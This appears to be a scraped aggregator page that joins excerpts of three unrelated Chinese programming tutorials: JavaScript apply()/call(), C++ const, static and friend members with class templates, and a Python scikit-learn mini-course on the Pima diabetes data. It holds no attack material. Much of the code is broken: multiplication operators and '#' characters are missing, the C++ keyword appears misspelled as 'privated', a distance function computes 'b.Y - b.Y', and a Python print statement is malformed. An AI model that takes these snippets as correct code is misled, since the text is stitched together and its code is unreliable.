原函数}function sayBox(num1, num2) {return box.apply(this, [num1, num2]); // this 表示作用域,这里是 window} // []表示 box 所需要的参数function sayBox2(num1, num2) {return box.apply(this, arguments); // arguments 对象表示 box 所需要的参数}alert(sayBox(10,10)); // 20alert(sayBox2(10,10)); // 20 call()方法于 apply()方法相同,他们的区别仅仅在于接收参数的方式不同。对于 call()方法而言,第一个参数是作用域,没有变化,变化只是其余的参数都是直接传递给函数的。 function box(num1, num2) {return num1 + num2;}function callBox(num1, num2) {return box.call(this, num1, num2); // 和 apply 区别在于后面的传参}alert(callBox(10,10)); 事实上,传递参数并不是 apply()和 call()方法真正的用武之地;它们经常使用的地方是能够扩展函数赖以运行的作用域。 var color = '红色的'; // 或者 window.color = '红色的';也行var box = {color : '蓝色的'};function sayColor() {alert(this.color);}sayColor(); // 作用域在 windowsayColor.call(this); // 作用域在 windowsayColor.call(window); // 作用域在 windowsayColor.call(box); // 作用域在 box,对象冒充 这个例子是之前作用域理解的例子修改而成,我们可以发现当我们使用 call(box)方法的时候,sayColor()方法的运行环境已经变成了 box 对象里了。 使用 call()或者 apply()来扩充作用域的最大好处,就是对象不需要与方法发生任何耦合关系(耦合,就是互相关联的意思,扩展和维护会发生连锁反应)。也就是说,box 对象和 sayColor()方法之间不会有多余的关联操作,比如 box.sayColor = sayColor;。 本篇文章为转载内容。原文链接:https://blog.csdn.net/gongxifacai_believe/article/details/108286196。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-01-24 13:01:25
530
转载
转载文章
..._time();//错误,不能调用 为了访问常对象中的数据成员,要定义常成员函数。 void get_time() const 如果在常对象中要修改某个数据成员,C++提供了指定可变的数据成员方法。 格式:mutable 类型 数据成员 在定义数据成员时加mutable后,将数据成员声明为可变的数据成员,就可以用声明为const的成员函数修改它的值。 2.常对象成员 可以在声明普通对象时将数据成员或成员函数声明为常数据成员或常成员函数。 (1)常数据成员 格式: const 类型 数据成员名 将类中的数据成员定义为具有只读的性质。注意只能通过带参数初始表的构造函数对常数据成员进行初始化。例如: const int hour;Time::Time(int h){hour=h;...//错误}Time::Time(int h):hour(h){}//正确 在类中声明了某个常数据成员后,该类中每个对象的这个数据成员的值都是只读的,而每个对象的这个数据成员的值可以不同,由定义对象时给出。 (2)常成员函数 定义格式:类型 函数名 (形参表)const const是函数类型的一部分,在声明函数原型和定义函数时都要用const关键字。 【注1】const是函数类型的一个组成部分,因此在函数的实现部分也要使用关键字const。常成员函数不能修改对象的数据成员,也不能调用该类中没有由关键字const修饰的成员函数,从而保证了在常成员函数中不会修改数据成员的值。如果一个对象被说明为常对象,则通过该对象只能调用它的常成员函数。 【注2】一般成员函数可以访问或修改本类中非const数据成员。而常成员函数只能读本类中的数据成员,而不能写他们。 数据成员 非const成员函数 const成员函数 非const的数据成员 可以引用,也可以改变值 可以引用,但不可以改变值 const数据成员 可以引用,但不可以改变值 可以引用,但不可以改变值 const对象的数据成员 不允许引用和改变值 可以引用,但不可以改变值 常成员函数的使用: 如果类中有部分数据成员的值要求为只读,可以将它们声明为const,这样成员函数只能读这些数据成员的值,但不能修改它们的值 如果所有数据成员的值为只读,可将对象声明为const,在类中必须声明const成员函数,常对象只能通过常成员函数读数据成员 常对象不能调用非const成员函数 【注】如果常对象的成员函数未加const,编译系统将其当作非const成员函数;常成员函数不能调用非const成员函数 3.指向对象的常指针 如果在定义指向对象的指针时,使用了关键字const,他就是一个常指针,必须在定义时对其初始化,并且在程序运行中不能再修改指针的值。 格式:const 指针变量名=对象地址 Time t1(10,12,15),t2;Time const p1=&t1;//在此后,不能修改p1Time const p1=&t2;//错误语句 指向对象的常指针,在程序运行中始终指向的是同一个对象。即指针变量的值始终不变,但它所指对象的数据成员值可以修改。当需要将一个指针变量固定地与一个对象相联系时,就可将指针变量指定为const。往往用常指针作为函数的形参,目的是不允许在函数中修改指针变量的值,让它始终指向原来的对象。 4.指向常对象的指针变量 5.对象的常引用 (1)含义 前面学过引用是传递参数的有效方法。用引用形参时,形参变量与实参变量是同一个变量,在函数内修改引用形参也就是修改实参变量。如果用引用形参又不想让函数修改实参,可以使用常引用机制。 (2)格式 const 类名 &形参变量名 (3)【例3.8】对象的引用 include <iostream>using namespace std;class Time {public:Time(int, int, int);int hour;int minute;int sec;};Time::Time(int h, int m, int s) {hour = h;minute = m;sec = s;}void fun(Time &t) {t.hour = 18;}int main() {Time t1(10, 13, 56);fun(t1);cout << t1.hour << endl;return 0;} //如果用引用形参又不想让函数修改实参,可以使用常引用机制include <iostream>using namespace std;class Time {public:Time(int, int, int);void fun(int &t) {hour = t;t = 18;}int hour;int minute;int sec;};Time::Time(int h, int m, int s) {hour = h;minute = m;sec = s;}int main(int argc, char argc[]) {int x = 15;Time t1(10, 13, 56);t1.fun(x);cout << t1.hour << endl;cout << x << endl;return 0;} 6.const型数据小结 七、对象的动态建立与释放——动态建立对象 C++提供了new和delete运算符,实现动态分配、回收内存。他们也可以用来动态建立对象和释放对象。 格式:new 类名; 功能:在堆里分配内存,建立指定类的一个对象。如果分配成功,将返回动态对象的起始地址(指针);如不成功,返回0.为了保存这个指针,必须事先建立以类名为类型的指针变量。 格式:类名 指针变量名 Box pt;pt=new Box;//如果分配成功,就可以用指针变量pt访问动态对象的数据成员cout<<pt->height;cout<<pt->volume(); 当不再需要使用动态变量时,必须用delete运算符释放内存。 格式:delete 指针变量(存放的是用new运算返回的指针) 八、对象的赋值和复制 1.对象的赋值 (1)含义 如果一个类定义了两个或多个对象,则这些同类对象之间可以相互赋值。这里所指的对象的值含义是对象中所有数据成员的值。对象1、对象2都是已建立好的同类对象。 格式:对象1=对象2; (2)【例3.9】对象的赋值 include <iostream>using namespace std;class Box {public:Box(int = 10, int = 10, int = 10);int volume();private:int height;int width;int length;};Box::Box(int h, int w, int len) {height = h;width = w;length = len;}int Box::volume() {return (height width length);}int main() {Box box1(15, 30, 25), box2;cout << "box1 体积=" << box1.volume() << endl;box2 = box1;cout << "box2 体积=" << box2.volume() << endl;return 0;} (3)说明 对象的赋值只对数据成员操作 数据成员中不能含有动态分配的数据成员 2.对象的复制 (1)含义 对象赋值的前提是对象1和对象2是已经建立的对象。C++还可以按照一个对象克隆出另一个对象(从无到有),这就是复制对象。复制对象是创建对象的另一种方法(以前学过的是定义对象)。创建对象必须调用构造函数,复制对象要调用复制构造函数。以Box类为例,复制构造函数的形式是: Box::Box(const Box &b){height=b.height;width=b.width;length=b.length;} 复制构造函数只有一个参数,这个参数是本类的对象,且采用引用对象形式。为了防止修改数据,加const限制。构造函数的内容就是将实参对象的数据成员值赋予新对象对应的数据成员,如果程序中未定义复制构造函数,编译系统将提供默认的复制构造函数,复制类中的数据成员。 复制对象有两种格式: 类名 对象2(对象1);按对象1复制对象2 类名 对象2=对象1,对象3=对象1,……按对象1复制对象2、对象3 (2)【例】用复制对象的方法创建Box类的对象(用默认复制构造函数) //include "stdafx.h"include <iostream>using namespace std;class Box {public:Box(int = 10, int = 10, int = 10);int volume();private:int height;int width;int length;};Box::Box(int h, int w, int len) {height = h;width = w;length = len;}int Box::volume() {return (height width length);}int main() {Box box1(15, 30, 25);cout << "box1 体积=" << box1.volume() << endl;//Box box2=box1,box3=box2;Box box2(box1), box3(box2);cout << "box2 体积=" << box2.volume() << endl;cout << "box3 体积=" << box3.volume() << endl;return 0;} (3)说明 在以下情况调用复制构造函数: 在程序里用复制对象格式创建对象 当函数的参数是对象。调用函数时,需要将实参对象复制给形参对象,在此系统将调用复制构造函数 void fun(Box b){...}int main(){Box box1(12,15,18);fun(box1);return 0;} 在函数返回值是类的对象时,需要将函数里的对象复制一个临时对象当作函数值返回 Box f(){Box box1(12,15,18);return box1;}int main(){Box box2;box2=f();} 九、静态成员 C++用const保护数据对象不被修改,在实际中还需要共享数据,C++怎样提供数据共享机制?C++静态成员、友元实现对象之间、类之间的数据共享。 1.静态数据成员 (1)定义格式 static 类型 数据成员名 class Box{public:Box(int=10,int=10,int=10);int volume();private:static int height;int width;int length;}; (2)特性 设Box有n个对象box1..boxn。这n个对象的height成员在内存中共享一个整型数据空间。如果某个对象修改了height成员的值,其他n-1个对象的height成员值也被改变,从而达到n个对象共享height成员值的目的。 (3)说明 由于一个类的所有对象共享静态数据成员,所以不能用构造函数为静态数据成员初始化,只能在类外专门对其初始化。如果程序未对静态数据成员赋初值,则编译系统自动用0为它赋初值 格式:数据类型 类名::静态数据成员名=初值; 即可已用对象名引用静态成员,也可以用类名引用静态成员 静态数据成员在对象外单独开辟内存空间,只要在类中定义了静态成员,即使不定义对象,系统也为静态成员分配内存空间,可以被引用 在程序开始时为静态成员分配内存空间,直到程序结束才释放内存空间 静态数据成员作用域是它的类的作用域(如果在一个函数内定义类,他的静态数据成员作用域就是这个函数)在此范围内可以用“类名::静态成员名”的形式访问静态数据成员 (4)【例3.10】引用静态数据成员 include <iostream>using namespace std;class Box {public:Box(int, int);int volume();static int height;int width;int length;};Box::Box(int w, int len) {width = w;length = len;}int Box::volume() {return (height width length);}int Box::height = 10;int main() {Box a(15, 20), b(25, 30);cout << a.height << endl;cout << b.height << endl;cout << Box::height << endl;cout << a.volume() << endl;cout << b.volume() << endl;return 0;} 2.静态成员函数 (1)含义 C++提供静态成员函数,用它访问静态数据成员,静态成员函数不属于某个对象而属于类。 类中的非静态成员函数可以访问类中所有数据成员;而静态成员函数可以直接访问类的静态成员,不能直接访问非静态成员。 静态成员函数定义格式: static 类型 成员函数(形参表){……} 调用公有静态成员函数格式: 类名::成员函数(实参表) 引用方式 静态数据成员 非静态数据成员 静态成员函数 成员名 对象名.成员名 非静态成员函数 成员名 成员名 【注】静态成员函数不带this指针,所以必须用对象名和成员运算符.访问非静态成员;而普通成员函数有this指针,可以在函数中直接引用成员名。 (2)【例3.11】关于引用非静态成员和静态成员的具体方法 class Student {private:int num;int age;float score;static float sum;static int count;public:Student(int, int, int);void total();static float average();};Student::Student(int m, int a, int s) {num = m;age = a;score = s;}void Student::total() {sum += score;count++;}float Student::average() {return (sum / count);}float Student::sum = 0;int Student::count = 0;int main() {Student stud[3] = {Student(1001, 18, 70), Student(1002, 19, 79), Student(1005, 20, 98)};int n;cout << "请输入学生的人数:";cin >> n;for (int i = 1; i < n; i++)stud[i].total();cout << n << "个学生的平均成绩是:"cout << Student::average() << endl;return 0;} (3)【例】具有静态数据成员的point类 include <iostream>using namespace std;class Point {private:int X, Y;static int countP;public:Point(int xx = 0, int yy = 0) {X = xx;Y = yy;countP++;}Point(Point &p); //复制构造函数int GetX() {return X;}int GetY() {return Y;}int GetC() {cout << "Object id=" << countP << endl;return 0;} };Point::Point(Point &p) {X = p.X;Y = p.Y;countP++;}int Point::countP = 0;int main() {Point A(4, 5);cout << "Point A," << A.GetC() << "," << A.GetY();A.GetC();Point B(A);cout << "Point B," << B.GetC() << "," << B.GetY();B.GetC();return 0;} (4)静态成员函数举例 include <iostream>using namespace std;class application {private:static int global;public:static void f();static void g();};int application::global = 0;void application::f() {global = 5;}void application::g() {cout << global << endl;}int main() {application::f();application::g();return 0;} class A{private:int x; //非静态成员public:static void f(A a);};void A::f(A a){cout<<x; //对x的引用是错误的cout<<a.x; //正确} (5)具有静态数据、函数成员的Point类 include <iostream>using namespace std;class Point { //point类声明private: //私有数据成员int X, Y;static int countP;public: //外部接口Point(int xx = 0, int yy = 0) {X = xx;Y = yy;countP++;}Point(Point &p); //复制构造函数int GetX() {return X;}int GetY() {return Y;}static int GetC() {cout << "Object id=" << countP << endl;return 0;} };Point::Point(Point &p) {X = p.X;Y = p.Y;countP++;}int Point::countP = 0;int main() //主函数实现{ Point A(4, 5); //声明对象Acout << "Point A," << A.GetC() << "," << A.GetY();A.GetC(); //输出对象号,对象名引用Point B(A); //声明对象Bcout << "Point B," << B.GetC() << "," << B.GetY();Point::GetC(); //输出对象号,类名引用return 0;} (6)静态成员函数、静态数组及其初始化 include <iostream>include <stdio.h>using namespace std;class A {static int a[20];int x;public:A(int xx = 0) {x = xx;}static void in();static void out();void show() {cout << "x=" << x << endl;} };int A::a[20] = {0, 0};void A::in() {cout << "input a[20]:" << endl;for (int i = 0; i < 20; ++i)cin >> a[i];}void A::out() {for (int i = 0; i < 20; ++i)cout << "a[" << i << "]=" << a[i] << endl;}int main() {A::in();A::out();A a;a.out();a.show();return 0;} 十、友元 除了在同类对象之间共享数据外,类和类之间也可以共享数据。类的私有成员只能被类的成员函数访问,但是有时需要在类的外部访问类的私有成员,C++通过友元的手段实现这一特殊要求。友元可以是不属于任何类的一般函数,也可以是另一个类的成员函数,还可以是整个的一个类(这个类中的所有成员函数都可以成为友元函数)。 友元是C++提供的一种破坏数据封装和数据隐藏的机制。为了保证数据的完整性及数据封装与隐藏的原则,建议尽量不使用或少使用友元。 1.友元函数 (1)含义 如果在A类外定义一个函数(它可以是另一个类的成员函数,也可以是一个普通函数),在A类中声明该函数是A的友元函数后,这个函数就能访问A类中的所有成员。 (2)格式 friend 类型 类1::成员函数x(类2 &对象); friend 类型 函数y(类2 &对象); //类1是另一个类的类名,类2是本类的类名 功能:第一种形式在类2中声明类1的成员函数x为友元函数。第二种形式在类2中声明一个普通函数y是友元函数。 友元函数内访问对象的格式: 对象名.成员名 因为友元不是成员函数,它不属于类,所以它访问对象时必须冠以对象名。定义友元函数时形参通过定义引用对象,这样在友元函数内就能访问实参对象了。 (3)【例3.12】将普通函数声明为友元函数 include <iostream>using namespace std;class Time {public:Time(int, int, int);friend void display(Time &);private:int hour;int minute;int sec;};Time::Time(int h, int m, int s) {hour = h;minute = m;sec = s;}void display(Time &t) {cout << t.hour << ":" << t.minute << ":" << t.sec << endl;}int main() {Time t1(10, 13, 56);display(t1);return 0;} 【例】使用友元函数计算两点距离 include <iostream>include <cmath>using namespace std;class Point {public:Point(int xx = 0, int yy = 0) {X = xx;Y = yy;}int GetX() {return X;}int GetY() {return Y;}friend double Distance(Point &a, Point &b);private:int X, Y;};double Distance(Point &a, Point &b) {double dx = a.X - b.X;double dy = b.Y - b.Y;return sqrt(dx dx + dy dy);}int main() {Point p1(3.0, 5.0), p2(4.0, 6.0);double d = Distance(p1, p2);cout << "The distance is " << d << endl;return 0;} include <iostream>include <math.h>using namespace std;class TPoint {private:double x, y;public:TPoint(double a, double b) {x = a;y = b;cout << "点:(" << x << "," << y << ")" << endl;}friend double distance(TPoint &a, TPoint &b) {return sqrt((a.x - b.x) (a.x - b.x) + (a.y - b.y) (a.y - b.y));} };int main(int argc, char argv[]) {TPoint myp1(2.1, 1.3), myp2(5.4, 6.5);cout << "两点之间的距离为:";cout << distance(myp1, myp2) << endl;return 0;} (4)友元成员函数 【例3.13】将成员函数声明为友元函数 例子中有两个类Time和Date。其中Time类里定义了成员函数void display(Date &),他除了显示时间外还要显示日期,这个日期通过引用形参访问。在Date类中将Time类的display成员函数定义为友元函数,允许display访问Date类的所有私有数据成员。 include <iostream>using namespace std;class Date;class Time {private:int hour;int minute;int sec;public:Time(int, int, int);void display(const Date &);};class Date {private:int month;int day;int year;public:Date(int, int, int);friend void Time::display(const Date &);};Time::Time(int h, int m, int s) hour = h;minute = m;sec = s;}void Time::display(const Date &da) {cout << da.month << "/" << da.day << "/" << da.year << endl;cout << hour << ":" << minute << ":" << sec << endl;}Date::Date(int m, int d, int y) {month = m;day = d;year = y;}int main() {Time t1(10, 13, 56);Date d1(12, 25, 2004);t1.display(d1);return 0;} 【注1】友元是单向的,此例中声明Time的成员函数display是Date类的友元,允许它访问Date类的所有成员,但不等于说Date类的成员函数也是Time类的友元。 【注2】一个函数(包括普通函数和成员函数)可以被多个类声明为“朋友”,这样就可以引用多个类中的私有数据 【注3】例如可以将例3.13程序中的display函数作为类外的普通函数,分别在Time和Date类中将display声明为友元。Display就可以分别引用Time和Date类的对象的私有数据成员。输出年月日和时分秒。 2.友元类 C++允许将一个类声明为另一个类的友元。假定A类是B类的友元类,A类中所有的成员函数都是B类的友元函数,在B类中声明A类为友元类的格式:friend A; 【注1】友元关系是单向的,不是双向的 【注2】友元关系不能传递 【注3】实际中一般不把整个类声明友元类,而只是将确有需要的成员函数声明为友元函数 include <iostream>include <math.h>using namespace std;class B;class A {private:int x;public:A() {x = 3;}friend class B;};class B {public:void disp1(A temp) {temp.x++;cout << "disp1:x" << temp.x << endl;}void disp2(A temp) {temp.x--;cout << "disp2:x" << temp.x << endl;} };int main(int argc, char argv[]) {A a;B b;b.disp1(a);b.disp2(a);return 0;} class Student; //前向声明,类名声明class Teacher{privated:int noOfStudents;Student pList[100];public:void assignGrades(Student &s); //赋成绩void adjustHours(Student &s); //调整学时数};class Student{privated:int hours;float gpa;public:friend class Teacher;};void Teacher::assignGrades(Student &s){...};void Teacher::adjustHours(Student &s){...}; //函数定义必须在Student定义之后 十一、类模板 1.含义 对于功能相同而只是数据类型不同的函数,不必须定义出所有函数,我们定义一个可对任何类型变量操作的函数模板。对于功能相同的类而数据类型不同,不必定义出所有类,只要定义一个可对任何类进行操作的类模板。 例如定义比较两个整数的类和比较两个浮点数的类,这两个类做的工作是相似的,所以可以用类模板,减少工作量。 class Compare_int{private:int x,y;public:Compare_int(int a,int b){x=a;y=b;}int max(){return (x>y)?x:y;}int min(){return (x<y)?x:y;} };class Compare_float{private:float x,y;public:Compare_float(float a,float b){x=a;y=b;}float max(){return (x>y)?x:y;}float min(){return (x<y)?x:y;} }; 2.定义类模板的格式 template <class 类型参数名> class 类模板名 {……} 类型参数名:按标识符取名。如有多个类型参数,每个类型参数都要以class为前导,两个类型参数之间用逗号分隔 类模板名:按标识符取名 类模板{...}内定义数据成员和成员函数的规则:用类型参数作为数据类型,用类模板名作为类 template<class numtype>class Compare{private:numtype x,y;public:Compare(numtype a,numtype b){x=a,y=b;}numtype max(){return (x>y)?x:y;}numtype min(){return (x<y)?x:y;} }; 3.在类模板外定义成员函数的语法 类型参数 类模板名<类型参数>::成员函数名(形参表){……} 例如在类模板外定义max和min成员函数 template<class numtype>class Compare{public:Compare(numtype a,numtype b){x=a,y=b;}numtype max();numtype min();private:numtype x,y;};numtype Compare<numtype>::max(){return(x>y)?x:y;}numtype Compare<numtype>::min(){return(x<y)?x:y;} 4.使用类模板时,定义对象的格式 类模板名 <实际类型名>对象名; 类模板名 <实际类型名>对象名(实参表); 例如:Compare <int>cmp2(4,7) 在编译时, 编译系统用int取代类模板中的类型参数numtype,就把类模板具体化了。这时Compare<int>将相当于Compare_int类。 5.【例3.14】声明类模板,实现两个整数、浮点数和字符的比较,求出大数和小数 include <iostream>using namespace std;template<class numtype>class Compare {private:numtype x, y;public:Compare(numtype a, numtype b) {x = a;y = b;}numtype max() {return (x > y) ? x : y;}numtype min() {return (x < y) ? x : y;} };int main() {Compare<int>cmp1(3, 7);cout << cmp1.max() << "是两个整数中的大数." << endl;cout << cmp1.min() << "是两个整数中的小数." << endl;Compare<float>cmp2(45.78, 93.6);cout << cmp2.max() << "是两个浮点数中的大数." << endl;cout << cmp2.min() << "是两个浮点数中的小数." << endl;Compare<char>cmp3('a', 'A');cout << cmp3.max() << "是两个字符中的大者." << endl;cout << cmp3.min() << "是两个字符中的小者." << endl;return 0;} 本篇文章为转载内容。原文链接:https://blog.csdn.net/m0_72318954/article/details/127064376。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2024-01-29 12:38:23
545
转载
转载文章
...__)) 如果有任何错误,请停止。现在该修复它们了。 需要帮忙?请参阅本教程: 如何使用Anaconda设置用于机器学习和深度学习的Python环境 第2课:深入了解Python,NumPy,Matplotlib和Pandas。 您需要能够读写基本的Python脚本。 作为开发人员,您可以很快选择新的编程语言。Python区分大小写,使用哈希(#)进行注释,并使用空格指示代码块(空格很重要)。 今天的任务是在Python交互环境中练习Python编程语言的基本语法和重要的SciPy数据结构。 练习作业,在Python中使用列表和流程控制。 练习使用NumPy数组。 练习在Matplotlib中创建简单图。 练习使用Pandas Series和DataFrames。 例如,以下是创建Pandas DataFrame的简单示例。 1 2 3 4 5 6 7 8 dataframe import numpy import pandas myarray = numpy.array([[1, 2, 3], [4, 5, 6]]) rownames = ['a', 'b'] colnames = ['one', 'two', 'three'] mydataframe = pandas.DataFrame(myarray, index=rownames, columns=colnames) print(mydataframe) 第3课:从CSV加载数据 机器学习算法需要数据。您可以从CSV文件加载自己的数据,但是当您开始使用Python进行机器学习时,应该在标准机器学习数据集上进行练习。 今天课程的任务是让您轻松地将数据加载到Python中并查找和加载标准的机器学习数据集。 您可以在UCI机器学习存储库上下载和练习许多CSV格式的出色标准机器学习数据集。 练习使用标准库中的CSV.reader()将CSV文件加载到Python 中。 练习使用NumPy和numpy.loadtxt()函数加载CSV文件。 练习使用Pandas和pandas.read_csv()函数加载CSV文件。 为了让您入门,下面是一个片段,该片段将直接从UCI机器学习存储库中使用Pandas来加载Pima Indians糖尿病数据集。 1 2 3 4 5 6 Load CSV using Pandas from URL import pandas url = "https://raw.githubusercontent.com/jbrownlee/Datasets/master/pima-indians-diabetes.data.csv" names = ['preg', 'plas', 'pres', 'skin', 'test', 'mass', 'pedi', 'age', 'class'] data = pandas.read_csv(url, names=names) print(data.shape) 到现在为止做得很好!等一下 到目前为止有什么问题吗?在评论中提问。 第4课:使用描述性统计数据理解数据 将数据加载到Python之后,您需要能够理解它。 您越了解数据,可以构建的模型就越精确。了解数据的第一步是使用描述性统计数据。 今天,您的课程是学习如何使用描述性统计信息来理解您的数据。我建议使用Pandas DataFrame上提供的帮助程序功能。 使用head()函数了解您的数据以查看前几行。 使用shape属性查看数据的维度。 使用dtypes属性查看每个属性的数据类型。 使用describe()函数查看数据的分布。 使用corr()函数计算变量之间的成对相关性。 以下示例加载了皮马印第安人糖尿病发病数据集,并总结了每个属性的分布。 1 2 3 4 5 6 7 Statistical Summary import pandas url = "https://raw.githubusercontent.com/jbrownlee/Datasets/master/pima-indians-diabetes.data.csv" names = ['preg', 'plas', 'pres', 'skin', 'test', 'mass', 'pedi', 'age', 'class'] data = pandas.read_csv(url, names=names) description = data.describe() print(description) 试试看! 第5课:通过可视化了解数据 从昨天的课程继续,您必须花一些时间更好地了解您的数据。 增进对数据理解的第二种方法是使用数据可视化技术(例如,绘图)。 今天,您的课程是学习如何在Python中使用绘图来单独理解属性及其相互作用。再次,我建议使用Pandas DataFrame上提供的帮助程序功能。 使用hist()函数创建每个属性的直方图。 使用plot(kind ='box')函数创建每个属性的箱须图。 使用pandas.scatter_matrix()函数创建所有属性的成对散点图。 例如,下面的代码片段将加载糖尿病数据集并创建数据集的散点图矩阵。 1 2 3 4 5 6 7 8 9 Scatter Plot Matrix import matplotlib.pyplot as plt import pandas from pandas.plotting import scatter_matrix url = "https://raw.githubusercontent.com/jbrownlee/Datasets/master/pima-indians-diabetes.data.csv" names = ['preg', 'plas', 'pres', 'skin', 'test', 'mass', 'pedi', 'age', 'class'] data = pandas.read_csv(url, names=names) scatter_matrix(data) plt.show() 样本散点图矩阵 第6课:通过预处理数据准备建模 您的原始数据可能未设置为最佳建模形式。 有时您需要对数据进行预处理,以便最好地将问题的固有结构呈现给建模算法。在今天的课程中,您将使用scikit-learn提供的预处理功能。 scikit-learn库提供了两个用于转换数据的标准习语。每种变换在不同的情况下都非常有用:拟合和多重变换以及组合的拟合与变换。 您可以使用多种技术来准备数据以进行建模。例如,尝试以下一些方法 使用比例和中心选项将数值数据标准化(例如,平均值为0,标准偏差为1)。 使用范围选项将数值数据标准化(例如,范围为0-1)。 探索更高级的功能工程,例如Binarizing。 例如,下面的代码段加载了Pima Indians糖尿病发病数据集,计算了标准化数据所需的参数,然后创建了输入数据的标准化副本。 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 Standardize data (0 mean, 1 stdev) from sklearn.preprocessing import StandardScaler import pandas import numpy url = "https://raw.githubusercontent.com/jbrownlee/Datasets/master/pima-indians-diabetes.data.csv" names = ['preg', 'plas', 'pres', 'skin', 'test', 'mass', 'pedi', 'age', 'class'] dataframe = pandas.read_csv(url, names=names) array = dataframe.values separate array into input and output components X = array[:,0:8] Y = array[:,8] scaler = StandardScaler().fit(X) rescaledX = scaler.transform(X) summarize transformed data numpy.set_printoptions(precision=3) print(rescaledX[0:5,:]) 第7课:使用重采样方法进行算法评估 用于训练机器学习算法的数据集称为训练数据集。用于训练算法的数据集不能用于为您提供有关新数据的模型准确性的可靠估计。这是一个大问题,因为创建模型的整个思路是对新数据进行预测。 您可以使用称为重采样方法的统计方法将训练数据集划分为子集,一些方法用于训练模型,而另一些则被保留,并用于估计看不见的数据的模型准确性。 今天课程的目标是练习使用scikit-learn中可用的不同重采样方法,例如: 将数据集分为训练集和测试集。 使用k倍交叉验证来估计算法的准确性。 使用留一法交叉验证来估计算法的准确性。 下面的代码段使用scikit-learn通过10倍交叉验证来评估Pima Indians糖尿病发作的Logistic回归算法的准确性。 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 Evaluate using Cross Validation from pandas import read_csv from sklearn.model_selection import KFold from sklearn.model_selection import cross_val_score from sklearn.linear_model import LogisticRegression url = "https://raw.githubusercontent.com/jbrownlee/Datasets/master/pima-indians-diabetes.data.csv" names = ['preg', 'plas', 'pres', 'skin', 'test', 'mass', 'pedi', 'age', 'class'] dataframe = read_csv(url, names=names) array = dataframe.values X = array[:,0:8] Y = array[:,8] kfold = KFold(n_splits=10, random_state=7) model = LogisticRegression(solver='liblinear') results = cross_val_score(model, X, Y, cv=kfold) print("Accuracy: %.3f%% (%.3f%%)") % (results.mean()100.0, results.std()100.0) 您获得了什么精度?在评论中让我知道。 您是否意识到这是中间点?做得好! 第8课:算法评估指标 您可以使用许多不同的指标来评估数据集上机器学习算法的技能。 您可以通过cross_validation.cross_val_score()函数在scikit-learn中指定用于测试工具的度量,默认值可用于回归和分类问题。今天课程的目标是练习使用scikit-learn软件包中可用的不同算法性能指标。 在分类问题上练习使用“准确性”和“ LogLoss”度量。 练习生成混淆矩阵和分类报告。 在回归问题上练习使用RMSE和RSquared指标。 下面的代码段演示了根据Pima Indians糖尿病发病数据计算LogLoss指标。 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 Cross Validation Classification LogLoss from pandas import read_csv from sklearn.model_selection import KFold from sklearn.model_selection import cross_val_score from sklearn.linear_model import LogisticRegression url = "https://raw.githubusercontent.com/jbrownlee/Datasets/master/pima-indians-diabetes.data.csv" names = ['preg', 'plas', 'pres', 'skin', 'test', 'mass', 'pedi', 'age', 'class'] dataframe = read_csv(url, names=names) array = dataframe.values X = array[:,0:8] Y = array[:,8] kfold = KFold(n_splits=10, random_state=7) model = LogisticRegression(solver='liblinear') scoring = 'neg_log_loss' results = cross_val_score(model, X, Y, cv=kfold, scoring=scoring) print("Logloss: %.3f (%.3f)") % (results.mean(), results.std()) 您得到了什么日志损失?在评论中让我知道。 第9课:抽查算法 您可能无法事先知道哪种算法对您的数据效果最好。 您必须使用反复试验的过程来发现它。我称之为现场检查算法。scikit-learn库提供了许多机器学习算法和工具的接口,以比较这些算法的估计准确性。 在本课程中,您必须练习抽查不同的机器学习算法。 对数据集进行抽查线性算法(例如线性回归,逻辑回归和线性判别分析)。 抽查数据集上的一些非线性算法(例如KNN,SVM和CART)。 抽查数据集上一些复杂的集成算法(例如随机森林和随机梯度增强)。 例如,下面的代码片段对Boston House Price数据集上的K最近邻居算法进行了抽查。 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 KNN Regression from pandas import read_csv from sklearn.model_selection import KFold from sklearn.model_selection import cross_val_score from sklearn.neighbors import KNeighborsRegressor url = "https://raw.githubusercontent.com/jbrownlee/Datasets/master/housing.data" names = ['CRIM', 'ZN', 'INDUS', 'CHAS', 'NOX', 'RM', 'AGE', 'DIS', 'RAD', 'TAX', 'PTRATIO', 'B', 'LSTAT', 'MEDV'] dataframe = read_csv(url, delim_whitespace=True, names=names) array = dataframe.values X = array[:,0:13] Y = array[:,13] kfold = KFold(n_splits=10, random_state=7) model = KNeighborsRegressor() scoring = 'neg_mean_squared_error' results = cross_val_score(model, X, Y, cv=kfold, scoring=scoring) print(results.mean()) 您得到的平方误差是什么意思?在评论中让我知道。 第10课:模型比较和选择 既然您知道了如何在数据集中检查机器学习算法,那么您需要知道如何比较不同算法的估计性能并选择最佳模型。 在今天的课程中,您将练习比较Python和scikit-learn中的机器学习算法的准确性。 在数据集上相互比较线性算法。 在数据集上相互比较非线性算法。 相互比较同一算法的不同配置。 创建比较算法的结果图。 下面的示例在皮马印第安人发病的糖尿病数据集中将Logistic回归和线性判别分析进行了比较。 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 Compare Algorithms from pandas import read_csv from sklearn.model_selection import KFold from sklearn.model_selection import cross_val_score from sklearn.linear_model import LogisticRegression from sklearn.discriminant_analysis import LinearDiscriminantAnalysis load dataset url = "https://raw.githubusercontent.com/jbrownlee/Datasets/master/pima-indians-diabetes.data.csv" names = ['preg', 'plas', 'pres', 'skin', 'test', 'mass', 'pedi', 'age', 'class'] dataframe = read_csv(url, names=names) array = dataframe.values X = array[:,0:8] Y = array[:,8] prepare models models = [] models.append(('LR', LogisticRegression(solver='liblinear'))) models.append(('LDA', LinearDiscriminantAnalysis())) evaluate each model in turn results = [] names = [] scoring = 'accuracy' for name, model in models: kfold = KFold(n_splits=10, random_state=7) cv_results = cross_val_score(model, X, Y, cv=kfold, 